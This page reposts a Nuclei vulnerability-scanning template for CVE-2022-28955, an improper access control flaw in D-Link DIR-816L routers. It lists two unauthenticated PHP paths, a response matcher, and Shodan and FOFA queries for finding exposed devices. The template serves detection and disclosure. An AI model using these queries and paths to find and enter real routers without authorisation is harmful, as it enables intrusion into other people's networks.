CVE-2022-28955: D-Link DIR-816L - Improper Access Control

2025-08-01 D-Link DIR-816L PoC Public

Description

D-Link DIR-816L_FW206b01 is susceptible to improper access control. An attacker can access folders folder_view.php and category_view.php and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2022-28955

info:
  name: D-Link DIR-816L - Improper Access Control
  author: arafatansari
  severity: high
  description: |
    D-Link DIR-816L_FW206b01 is susceptible to improper access control. An attacker can access folders folder_view.php and category_view.php and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or control of the affected router.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the access control issue.
  reference:
    - https://github.com/shijin0925/IOT/blob/master/DIR816/1.md
    - https://www.dlink.com/en/security-bulletin/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28955
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-28955
    cwe-id: CWE-287
    epss-score: 0.39733
    epss-percentile: 0.98546
    cpe: cpe:2.3:o:dlink:dir-816l_firmware:206b01:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dlink
    product: dir-816l_firmware
    shodan-query:
      - http.html:"DIR-816L"
      - http.html:"dir-816l"
    fofa-query: body="dir-816l"
  tags: cve2022,cve,dlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/category_view.php"
      - "{{BaseURL}}/folder_view.php"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<title>SharePort Web Access</title>'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022029a57a80364769f2e10bf921de3e4e44c538fc7c6a89a97d0b0df7d57b8297eb0221008c178f781eff606776bafd73a401ddaf64549250b892752e184caa63e8a9f30f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28955.yaml

References

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